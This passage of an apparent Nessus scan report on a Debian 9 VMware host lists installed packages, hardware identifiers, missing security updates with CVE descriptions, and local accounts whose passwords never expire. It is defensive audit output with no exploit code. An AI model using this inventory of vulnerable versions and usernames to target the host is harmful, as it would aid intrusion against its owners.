amd64 /proc file system utilities + ii psmisc 22.21-2.1+b2 amd64 utilities that use the proc file system + ii python 2.7.13-2 amd64 interactive high-level object-oriented language (default version) + ii python-apt 1.4.0~beta3 amd64 Python interface to libapt-pkg + ii python-apt-common 1.4.0~beta3 all Python interface to libapt-pkg (locales) + ii python-bs4 4.5.3-1 all error-tolerant HTML parser for Python + ii python-chardet 2.3.0-2 all universal character encoding detector for Python2 + ii python-html5lib 0.999999999-1 all HTML parser/tokenizer based on the WHATWG HTML5 specification + ii python-lxml 3.7.1-1 amd64 pythonic binding for the libxml2 and libxslt libraries + ii python-minimal 2.7.13-2 amd64 minimal subset of the Python language (default version) + ii python-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources + ii python-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 2 interface) + ii python-webencodings 0.5-2 all Python implementation of the WHATWG Encoding standard + ii python-yaml 3.12-1 amd64 YAML parser and emitter for Python + ii python2.7 2.7.13-2 amd64 Interactive high-level object-oriented language (version 2.7) + ii python2.7-minimal 2.7.13-2 amd64 Minimal subset of the Python language (version 2.7) + ii python3 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version) + ii python3-apt 1.4.0~beta3 amd64 Python 3 interface to libapt-pkg + ii python3-chardet 2.3.0-2 all universal character encoding detector for Python3 + ii python3-debian 0.1.30 all Python 3 modules to work with Debian-related data formats + ii python3-debianbts 2.6.1 all Python interface to Debian's Bug Tracking System + ii python3-httplib2 0.9.2+dfsg-1 all comprehensive HTTP client library written for Python3 + ii python3-minimal 3.5.3-1 amd64 minimal subset of the Python language (default python3 version) + ii python3-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources + ii python3-pycurl 7.43.0-2 amd64 Python bindings to libcurl (Python 3) + ii python3-pysimplesoap 1.16-2 all simple and lightweight SOAP Library (Python 3) + ii python3-reportbug 7.1.7 all Python modules for interacting with bug tracking systems + ii python3-requests 2.12.4-1 all elegant and simple HTTP library for Python3, built for human beings + ii python3-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 3 interface) + ii python3-urllib3 1.19.1-1 all HTTP library with thread-safe connection pooling for Python3 + ii python3.5 3.5.3-1 amd64 Interactive high-level object-oriented language (version 3.5) + ii python3.5-minimal 3.5.3-1 amd64 Minimal subset of the Python language (version 3.5) + ii rake 10.5.0-2 all ruby make-like utility + ii readline-common 7.0-3 all GNU readline and history libraries, common files + ii rename 0.20-4 all Perl extension for renaming multiple files + ii reportbug 7.1.7 all reports bugs in the Debian distribution + ii rsync 3.1.2-1 amd64 fast, versatile, remote (and local) file-copying tool + ii rsyslog 8.24.0-1 amd64 reliable system and kernel logging daemon + ii ruby 1:2.3.3 amd64 Interpreter of object-oriented scripting language Ruby (default version) + ii ruby-did-you-mean 1.0.0-2 all smart error messages for Ruby > 2.3 + ii ruby-minitest 5.9.0-1 all Ruby test tools supporting TDD, BDD, mocking, and benchmarking + ii ruby-net-telnet 0.1.1-2 all telnet client library + ii ruby-power-assert 0.3.0-1 all library showing values of variables and method calls in an expression + ii ruby-test-unit 3.1.7-2 all unit testing framework for Ruby + ii ruby2.3 2.3.3-1+deb9u2 amd64 Interpreter of object-oriented scripting language Ruby + ii rubygems-integration 1.11 all integration of Debian Ruby packages with Rubygems + ii runit 2.1.2-9.2 amd64 system-wide service supervision + ii screen 4.5.0-6 amd64 terminal multiplexer with VT100/ANSI terminal emulation + ii sed 4.4-1 amd64 GNU stream editor for filtering/transforming text + ii sensible-utils 0.0.9 all Utilities for sensible alternative selection + ii sgml-base 1.29 all SGML infrastructure and SGML catalog file support + ii shared-mime-info 1.8-1 amd64 FreeDesktop.org shared MIME database and spec + ii ssl-cert 1.0.39 all simple debconf wrapper for OpenSSL + ii sudo 1.8.19p1-2.1 amd64 Provide limited super user privileges to specific users + ii sysstat 11.4.3-2 amd64 system performance tools for Linux + ii systemd 232-25+deb9u1 amd64 system and service manager + ii systemd-sysv 232-25+deb9u1 amd64 system and service manager - SysV links + ii sysvinit-utils 2.88dsf-59.9 amd64 System-V-like utilities + ii tar 1.29b-1.1 amd64 GNU version of the tar archiving utility + ii task-english 3.39 all General English environment + ii task-ssh-server 3.39 all SSH server + ii tasksel 3.39 all tool for selecting tasks for installation on Debian systems + ii tasksel-data 3.39 all official tasks used for installation of Debian systems + ii tcpd 7.6.q-26 amd64 Wietse Venema's TCP wrapper utilities + ii tcpdump 4.9.2-1~deb9u1 amd64 command-line network traffic analyzer + ii telnet 0.17-41 amd64 basic telnet client + ii tigervnc-viewer 1.7.0+dfsg-7 amd64 Virtual network computing client for X + ii tmux 2.3-4 amd64 terminal multiplexer + ii traceroute 1:2.1.0-2 amd64 Traces the route taken by packets over an IPv4/IPv6 network + ii tzdata 2017c-0+deb9u1 all time zone and daylight-saving time data + ii ucf 3.0036 all Update Configuration File(s): preserve user changes to config files + ii udev 232-25+deb9u1 amd64 /dev/ and hotplug management daemon + ii unzip 6.0-21 amd64 De-archiver for .zip files + ii util-linux 2.29.2-1 amd64 miscellaneous system utilities + ii util-linux-locales 2.29.2-1 all locales files for util-linux + ii uuid-dev 2.29.2-1 amd64 Universally Unique ID library - headers and static libraries + ii vim 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor + ii vim-common 2:8.0.0197-4+deb9u1 all Vi IMproved - Common files + ii vim-nox 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor - with scripting languages support + ii vim-runtime 2:8.0.0197-4+deb9u1 all Vi IMproved - Runtime files + ii vim-tiny 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor - compact version + ii w3m 0.5.3-34 amd64 WWW browsable pager with excellent tables/frames support + ii wamerican 7.1-1 all American English dictionary words for /usr/share/dict + ii wget 1.18-5+deb9u1 amd64 retrieves files from the web + ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog boxes from shell scripts + ii x11-common 1:7.7+19 all X Window System (X.Org) infrastructure + ii x11-utils 7.7+3+b1 amd64 X11 utilities + ii xauth 1:1.0.9-1+b2 amd64 X authentication utility + ii xdg-user-dirs 0.15-2+b1 amd64 tool to manage well known user directories + ii xfonts-base 1:1.0.4+nmu1 all standard fonts for X + ii xfonts-encodings 1:1.0.4-2 all Encodings for X.Org fonts + ii xfonts-utils 1:7.7+4 amd64 X Window System font utility programs + ii xkb-data 2.19-1+deb9u1 all X Keyboard Extension (XKB) configuration data + ii xml-core 0.17 all XML infrastructure and XML catalog file support + ii xtightvncviewer 1:1.3.9-9 amd64 virtual network computing client software for X + ii xxd 2:8.0.0197-4+deb9u1 amd64 tool to make (or reverse) a hex dump + ii xz-utils 5.2.2-1.2+b1 amd64 XZ-format compression utilities + ii zerofree 1.0.4-1 amd64 zero free blocks from ext2, ext3 and ext4 file-systems + ii zip 3.0-11+b1 amd64 Archiver for .zip files + ii zlib1g 1:1.2.8.dfsg-5 amd64 compression library - runtime + ii zlib1g-dev 1:1.2.8.dfsg-5 amd64 compression library - development + rc bridge-utils 1.5-13+deb9u1 amd64 Utilities for configuring the Linux Ethernet bridge + rc ferm 2.3-2 all maintain and setup complicated firewall rules + rc netscript-2.4 5.5.1 all Linux 2.4/2.6/3.x router/firewall/VM host network config system. + + + +unix +Nessus was able to retrieve information about the remote system's hardware, such as its processor type, by using the SMBIOS (aka DMI) interface. +dmi_proc_info.nasl +2016/02/25 +Processor Information (via DMI) +2010/04/06 +local +None +$Revision: 1.7 $ +n/a +Nessus was able to read information about the remote system's processor. + +Nessus detected 1 processor : + +Current Speed : 2133 MHz +Version : Intel(R) Xeon(R) CPU E7- 2830 @ 2.13GHz +Manufacturer : GenuineIntel +External Clock : Unknown +Status : Populated, Enabled +Family : Unknown +Type : Central Processor + + + +Using the SMBIOS (aka DMI) interface, it was possible to retrieve information about the remote system's memory devices, such as the total amount of installed memory. +dmi_RAM_info.nasl +2011/03/21 +Memory Information (via DMI) +2010/04/06 +local +None +$Revision: 1.2 $ +n/a +Information about the remote system's memory devices can be read. + +Total memory : 4096 MB + + +unix +Using the SMBIOS (aka DMI) interface, it was possible to retrieve information about the remote system's hardware, such as its product name and serial number. +dmi_system_info.nasl +2016/08/17 +System Information Enumeration (via DMI) +2009/01/12 +local +None +$Revision: 1.9 $ +n/a +Information about the remote system's hardware can be read. +Chassis Information + Serial Number : None + Version : N/A + Manufacturer : No Enclosure + Lock : Not Present + Type : Other + +System Information + Serial Number : VMware-42 31 07 74 c0 c0 be 67-af 1a 47 38 3d d3 db e7 + Version : None + Manufacturer : VMware, Inc. + Product Name : VMware Virtual Platform + Family : Not Specified + + + + +unix +Using the SMBIOS (aka DMI) interface, it was possible to get the BIOS vendor and version. +bios_get_info_ssh.nasl +2017/08/28 +BIOS version (SSH) +2008/09/08 +local +None +1.12 +N/A +The BIOS version could be read. +Version : 6.00 +Vendor : Phoenix Technologies LTD +Release Date : 04/05/2016 +UUID : 74073142-C0C0-67BE-AF1A-47383DD3DBE7 + + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-1000407 +CVE-2017-1000410 +CVE-2017-16538 +CVE-2017-16644 +CVE-2017-16995 +CVE-2017-17448 +CVE-2017-17449 +CVE-2017-17450 +CVE-2017-17558 +CVE-2017-17712 +CVE-2017-17741 +CVE-2017-17805 +CVE-2017-17806 +CVE-2017-17807 +CVE-2017-17862 +CVE-2017-17863 +CVE-2017-17864 +CVE-2017-8824 +7.8 +CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H +7.2 +5.3 +CVSS2#E:U/RL:OF/RC:C +CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C +Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks. + + - CVE-2017-8824 Mohamed Ghannam discovered that the DCCP implementation did not correctly manage resources when a socket is disconnected and reconnected, potentially leading to a use-after-free. A local user could use this for denial of service (crash or data corruption) or possibly for privilege escalation. On systems that do not already have the dccp module loaded, this can be mitigated by disabling it:echo >> /etc/modprobe.d/disable-dccp.conf install dccp false + + - CVE-2017-16538 Andrey Konovalov reported that the dvb-usb-lmedm04 media driver did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash). + + - CVE-2017-16644 Andrey Konovalov reported that the hdpvr media driver did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash). + + - CVE-2017-16995 Jann Horn discovered that the Extended BPF verifier did not correctly model the behaviour of 32-bit load instructions. A local user can use this for privilege escalation. + + - CVE-2017-17448 Kevin Cernekee discovered that the netfilter subsystem allowed users with the CAP_NET_ADMIN capability in any user namespace, not just the root namespace, to enable and disable connection tracking helpers. This could lead to denial of service, violation of network security policy, or have other impact. + + - CVE-2017-17449 Kevin Cernekee discovered that the netlink subsystem allowed users with the CAP_NET_ADMIN capability in any user namespace to monitor netlink traffic in all net namespaces, not just those owned by that user namespace. + This could lead to exposure of sensitive information. + + - CVE-2017-17450 Kevin Cernekee discovered that the xt_osf module allowed users with the CAP_NET_ADMIN capability in any user namespace to modify the global OS fingerprint list. + + - CVE-2017-17558 Andrey Konovalov reported that that USB core did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash or memory corruption), or possibly for privilege escalation. + + - CVE-2017-17712 Mohamed Ghannam discovered a race condition in the IPv4 raw socket implementation. A local user could use this to obtain sensitive information from the kernel. + + - CVE-2017-17741 Dmitry Vyukov reported that the KVM implementation for x86 would over-read data from memory when emulating an MMIO write if the kvm_mmio tracepoint was enabled. A guest virtual machine might be able to use this to cause a denial of service (crash). + + - CVE-2017-17805 It was discovered that some implementations of the Salsa20 block cipher did not correctly handle zero-length input. A local user could use this to cause a denial of service (crash) or possibly have other security impact. + + - CVE-2017-17806 It was discovered that the HMAC implementation could be used with an underlying hash algorithm that requires a key, which was not intended. A local user could use this to cause a denial of service (crash or memory corruption), or possibly for privilege escalation. + + - CVE-2017-17807 Eric Biggers discovered that the KEYS subsystem lacked a check for write permission when adding keys to a process's default keyring. A local user could use this to cause a denial of service or to obtain sensitive information. + + - CVE-2017-17862 Alexei Starovoitov discovered that the Extended BPF verifier ignored unreachable code, even though it would still be processed by JIT compilers. This could possibly be used by local users for denial of service. It also increases the severity of bugs in determining unreachable code. + + - CVE-2017-17863 Jann Horn discovered that the Extended BPF verifier did not correctly model pointer arithmetic on the stack frame pointer. A local user can use this for privilege escalation. + + - CVE-2017-17864 Jann Horn discovered that the Extended BPF verifier could fail to detect pointer leaks from conditional code. A local user could use this to obtain sensitive information in order to exploit other vulnerabilities. + + - CVE-2017-1000407 Andrew Honig reported that the KVM implementation for Intel processors allowed direct access to host I/O port 0x80, which is not generally safe. On some systems this allows a guest VM to cause a denial of service (crash) of the host. + + - CVE-2017-1000410 Ben Seri reported that the Bluetooth subsystem did not correctly handle short EFS information elements in L2CAP messages. An attacker able to communicate over Bluetooth could use this to obtain sensitive information from the kernel. + +The various problems in the Extended BPF verifier can be mitigated by disabling use of Extended BPF by unprivileged users:sysctl kernel.unprivileged_bpf_disabled=1 + +Debian disables unprivileged user namespaces by default, but if they are enabled (via the kernel.unprivileged_userns_clone sysctl) then CVE-2017-17448 can be exploited by any local user. +4073 +false +No known exploits are available +debian_DSA-4073.nasl +171481 +2017/12/23 +2018/02/07 +Debian DSA-4073-1 : linux - security update +2017/12/26 +local +High +$Revision: 3.5 $ +https://security-tracker.debian.org/tracker/CVE-2017-8824 +https://security-tracker.debian.org/tracker/CVE-2017-16538 +https://security-tracker.debian.org/tracker/CVE-2017-16644 +https://security-tracker.debian.org/tracker/CVE-2017-16995 +https://security-tracker.debian.org/tracker/CVE-2017-17448 +https://security-tracker.debian.org/tracker/CVE-2017-17449 +https://security-tracker.debian.org/tracker/CVE-2017-17450 +https://security-tracker.debian.org/tracker/CVE-2017-17558 +https://security-tracker.debian.org/tracker/CVE-2017-17712 +https://security-tracker.debian.org/tracker/CVE-2017-17741 +https://security-tracker.debian.org/tracker/CVE-2017-17805 +https://security-tracker.debian.org/tracker/CVE-2017-17806 +https://security-tracker.debian.org/tracker/CVE-2017-17807 +https://security-tracker.debian.org/tracker/CVE-2017-17862 +https://security-tracker.debian.org/tracker/CVE-2017-17863 +https://security-tracker.debian.org/tracker/CVE-2017-17864 +https://security-tracker.debian.org/tracker/CVE-2017-1000407 +https://security-tracker.debian.org/tracker/CVE-2017-1000410 +https://security-tracker.debian.org/tracker/CVE-2017-17448 +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2017/dsa-4073 +Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.65-3+deb9u1. +The remote Debian host is missing a security-related update. +OSVDB:171481 +DSA:4073 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.65-3+deb9u1 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.65-3+deb9u1 + + + +p-cpe:/a:debian:debian_linux:libtasn1-6 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-10790 +CVE-2018-6003 +7.5 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H +5.0 +CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P +Two vulnerabilities were discovered in Libtasn1, a library to manage ASN.1 structures, allowing a remote attacker to cause a denial of service against an application using the Libtasn1 library. +4106 +debian_DSA-4106.nasl +2018/02/07 +2018/02/08 +Debian DSA-4106-1 : libtasn1-6 - security update +2018/02/08 +local +Medium +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867398 +https://security-tracker.debian.org/tracker/libtasn1-6 +https://packages.debian.org/source/stretch/libtasn1-6 +http://www.debian.org/security/2018/dsa-4106 +Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4106 + +Remote package installed : libtasn1-6_4.10-1.1 +Should be : libtasn1-6_4.10-1.1+deb9u1 + + + +p-cpe:/a:debian:debian_linux:openssl1.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-3737 +CVE-2017-3738 +5.9 +CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N +4.3 +CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N +Multiple vulnerabilities have been discovered in OpenSSL, a Secure Sockets Layer toolkit. The Common Vulnerabilities and Exposures project identifies the following issues : + + - CVE-2017-3737 David Benjamin of Google reported that OpenSSL does not properly handle SSL_read() and SSL_write() while being invoked in an error state, causing data to be passed without being decrypted or encrypted directly from the SSL/TLS record layer. + + - CVE-2017-3738 It was discovered that OpenSSL contains an overflow bug in the AVX2 Montgomery multiplication procedure used in exponentiation with 1024-bit moduli. + +Details can be found in the upstream advisory: +https://www.openssl.org/news/secadv/20171207.txt +4065 +debian_DSA-4065.nasl +2017/12/17 +2018/01/29 +Debian DSA-4065-1 : openssl1.0 - security update +2017/12/18 +local +Medium +$Revision: 3.5 $ +https://security-tracker.debian.org/tracker/CVE-2017-3737 +https://security-tracker.debian.org/tracker/CVE-2017-3738 +https://www.openssl.org/news/secadv/20171207.txt +https://security-tracker.debian.org/tracker/openssl1.0 +https://packages.debian.org/source/stretch/openssl1.0 +http://www.debian.org/security/2017/dsa-4065 +Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4065 + +Remote package installed : libssl1.0.2_1.0.2l-2+deb9u1 +Should be : libssl1.0.2_1.0.2l-2+deb9u2 + + + +unix +Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE. +ethernet_manufacturer.nasl +2017/11/17 +Ethernet Card Manufacturer Detection +2009/02/19 +combined +None +$Revision: 1.12 $ +http://standards.ieee.org/faqs/regauth.html +http://www.nessus.org/u?794673b4 +n/a +The manufacturer can be identified from the Ethernet OUI. + +The following card manufacturers were identified : + +00:50:56:b1:64:78 : VMware, Inc. + + + +According to the MAC address of its network adapter, the remote host is a VMware virtual machine. +vmware_detect.nasl +2015/10/16 +VMware Virtual Machine Detection +2005/10/27 +combined +None +$Revision: 1.26 $ +Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy. +The remote host is a VMware virtual machine. + +The remote host is a VMware virtual machine. + + + +p-cpe:/a:debian:debian_linux:exim4 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2018-6789 +Meh Chang discovered a buffer overflow flaw in a utility function used in the SMTP listener of Exim, a mail transport agent. A remote attacker can take advantage of this flaw to cause a denial of service, or potentially the execution of arbitrary code via a specially crafted message. +4110 +debian_DSA-4110.nasl +2018/02/10 +2018/02/12 +Debian DSA-4110-1 : exim4 - security update +2018/02/12 +local +High +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890000 +https://security-tracker.debian.org/tracker/exim4 +https://packages.debian.org/source/jessie/exim4 +https://packages.debian.org/source/stretch/exim4 +http://www.debian.org/security/2018/dsa-4110 +Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. +The remote Debian host is missing a security-related update. +DSA:4110 + +Remote package installed : exim4_4.89-2+deb9u2 +Should be : exim4_4.89-2+deb9u3 +Remote package installed : exim4-base_4.89-2+deb9u2 +Should be : exim4-base_4.89-2+deb9u3 +Remote package installed : exim4-config_4.89-2+deb9u2 +Should be : exim4-config_4.89-2+deb9u3 +Remote package installed : exim4-daemon-light_4.89-2+deb9u2 +Should be : exim4-daemon-light_4.89-2+deb9u3 + + + +p-cpe:/a:debian:debian_linux:gcc-6 +cpe:/o:debian:debian_linux:9.0 +This update doesn't fix a vulnerability in GCC itself, but instead provides support for building retpoline-enabled Linux kernel updates. +4121 +debian_DSA-4121.nasl +2018/02/22 +2018/02/23 +Debian DSA-4121-1 : gcc-6 - security update +2018/02/23 +local +High +$Revision: 3.1 $ +https://packages.debian.org/source/stretch/gcc-6 +http://www.debian.org/security/2018/dsa-4121 +Upgrade the gcc-6 packages. + +For the stable distribution (stretch), this problem has been fixed in version 6.3.0-18+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4121 + +Remote package installed : cpp-6_6.3.0-18 +Should be : cpp-6_6.3.0-18+deb9u1 +Remote package installed : gcc-6_6.3.0-18 +Should be : gcc-6_6.3.0-18+deb9u1 +Remote package installed : gcc-6-base_6.3.0-18 +Should be : gcc-6-base_6.3.0-18+deb9u1 +Remote package installed : libasan3_6.3.0-18 +Should be : libasan3_6.3.0-18+deb9u1 +Remote package installed : libatomic1_6.3.0-18 +Should be : libatomic1_6.3.0-18+deb9u1 +Remote package installed : libcc1-0_6.3.0-18 +Should be : libcc1-0_6.3.0-18+deb9u1 +Remote package installed : libcilkrts5_6.3.0-18 +Should be : libcilkrts5_6.3.0-18+deb9u1 +Remote package installed : libgcc-6-dev_6.3.0-18 +Should be : libgcc-6-dev_6.3.0-18+deb9u1 +Remote package installed : libgfortran3_6.3.0-18 +Should be : libgfortran3_6.3.0-18+deb9u1 +Remote package installed : libgomp1_6.3.0-18 +Should be : libgomp1_6.3.0-18+deb9u1 +Remote package installed : libitm1_6.3.0-18 +Should be : libitm1_6.3.0-18+deb9u1 +Remote package installed : liblsan0_6.3.0-18 +Should be : liblsan0_6.3.0-18+deb9u1 +Remote package installed : libmpx2_6.3.0-18 +Should be : libmpx2_6.3.0-18+deb9u1 +Remote package installed : libquadmath0_6.3.0-18 +Should be : libquadmath0_6.3.0-18+deb9u1 +Remote package installed : libtsan0_6.3.0-18 +Should be : libtsan0_6.3.0-18+deb9u1 +Remote package installed : libubsan0_6.3.0-18 +Should be : libubsan0_6.3.0-18+deb9u1 + + + +Using the supplied credentials, Nessus was able to list local users that are enabled and whose passwords never expire. +localusers_pwexpiry.nasl +755 +2017/08/28 +Unix / Linux - Local Users Information : Passwords Never Expire +2015/05/10 +local +None +1.5 +Allow or require users to change their passwords regularly. +At least one local user has a password that never expires. +OSVDB:755 + +Nessus found the following unlocked users with passwords that do not expire : + - wholoch + - therres + - kuhnrap + - bpa + - rilliju + + + +p-cpe:/a:debian:debian_linux:rsync +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-16548 +CVE-2017-17433 +CVE-2017-17434 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +7.5 +CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P +Several vulnerabilities were discovered in rsync, a fast, versatile, remote (and local) file-copying tool, allowing a remote attacker to bypass intended access restrictions or cause a denial of service. +4068 +debian_DSA-4068.nasl +2017/12/17 +2018/01/29 +Debian DSA-4068-1 : rsync - security update +2017/12/18 +local +High +$Revision: 3.2 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=880954 +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883665 +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883667 +https://security-tracker.debian.org/tracker/rsync +https://packages.debian.org/source/jessie/rsync +https://packages.debian.org/source/stretch/rsync +http://www.debian.org/security/2017/dsa-4068 +Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4068 + +Remote package installed : rsync_3.1.2-1 +Should be : rsync_3.1.2-1+deb9u1 + + + +unix +Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials. +ifconfig_mac.nasl +2017/01/26 +Enumerate MAC Addresses via SSH +2008/06/30 +local +None +$Revision: 1.16 $ +Disable any unused interfaces. +Nessus was able to enumerate MAC addresses on the remote host. + +The following MAC address exists on the remote host : + + - 00:50:56:b1:64:78 (interface ens160) + + + +p-cpe:/a:debian:debian_linux:libvorbis +cpe:/o:debian:debian_linux:9.0 +CVE-2017-14632 +CVE-2017-14633 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +7.5 +CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P +Two vulnerabilities were discovered in the libraries of the Vorbis audio compression codec, which could result in denial of service or the execution of arbitrary code if a malformed media file is processed. +4113 +debian_DSA-4113.nasl +2018/02/14 +2018/02/16 +Debian DSA-4113-1 : libvorbis - security update +2018/02/16 +local +High +$Revision: 3.1 $ +https://security-tracker.debian.org/tracker/libvorbis +https://packages.debian.org/source/stretch/libvorbis +http://www.debian.org/security/2018/dsa-4113 +Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4113 + +Remote package installed : libvorbis0a_1.3.5-4 +Should be : libvorbis0a_1.3.5-4+deb9u1 +Remote package installed : libvorbisenc2_1.3.5-4 +Should be : libvorbisenc2_1.3.5-4+deb9u1 + + + +p-cpe:/a:debian:debian_linux:sensible-utils +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-17512 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +Gabriel Corona reported that sensible-browser from sensible-utils, a collection of small utilities used to sensibly select and spawn an appropriate browser, editor or pager, does not validate strings before launching the program specified by the BROWSER environment variable, potentially allowing a remote attacker to conduct argument-injection attacks if a user is tricked into processing a specially crafted URL. +4071 +debian_DSA-4071.nasl +2017/12/21 +2018/01/29 +Debian DSA-4071-1 : sensible-utils - security update +2017/12/26 +local +Medium +$Revision: 3.3 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767 +https://security-tracker.debian.org/tracker/sensible-utils +https://packages.debian.org/source/jessie/sensible-utils +https://packages.debian.org/source/stretch/sensible-utils +http://www.debian.org/security/2017/dsa-4071 +Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4071 + +Remote package installed : sensible-utils_0.0.9 +Should be : sensible-utils_0.0.9+deb9u1 + + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-13166 +CVE-2017-5715 +CVE-2017-5754 +CVE-2018-5750 +7.8 +CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H +4.7 +CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N +Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks. + + - CVE-2017-5715 Multiple researchers have discovered a vulnerability in various processors supporting speculative execution, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + + This specific attack has been named Spectre variant 2 (branch target injection) and is mitigated in the Linux kernel for the Intel x86-64 architecture by using the 'retpoline' compiler feature which allows indirect branches to be isolated from speculative execution. + + - CVE-2017-5754 Multiple researchers have discovered a vulnerability in Intel processors, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + + This specific attack has been named Meltdown and is addressed in the Linux kernel on the powerpc/ppc64el architectures by flushing the L1 data cache on exit from kernel mode to user mode (or from hypervisor to kernel). + + This works on Power7, Power8 and Power9 processors. + + - CVE-2017-13166 A bug in the 32-bit compatibility layer of the v4l2 IOCTL handling code has been found. Memory protections ensuring user-provided buffers always point to userland memory were disabled, allowing destination address to be in kernel space. This bug could be exploited by an attacker to overwrite kernel memory from an unprivileged userland process, leading to privilege escalation. + + - CVE-2018-5750 An information leak has been found in the Linux kernel. + The acpi_smbus_hc_add() prints a kernel address in the kernel log at every boot, which could be used by an attacker on the system to defeat kernel ASLR. + +Additionnaly to those vulnerability, some mitigations for CVE-2017-5753 are included in this release. + + - CVE-2017-5753 Multiple researchers have discovered a vulnerability in various processors supporting speculative execution, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the 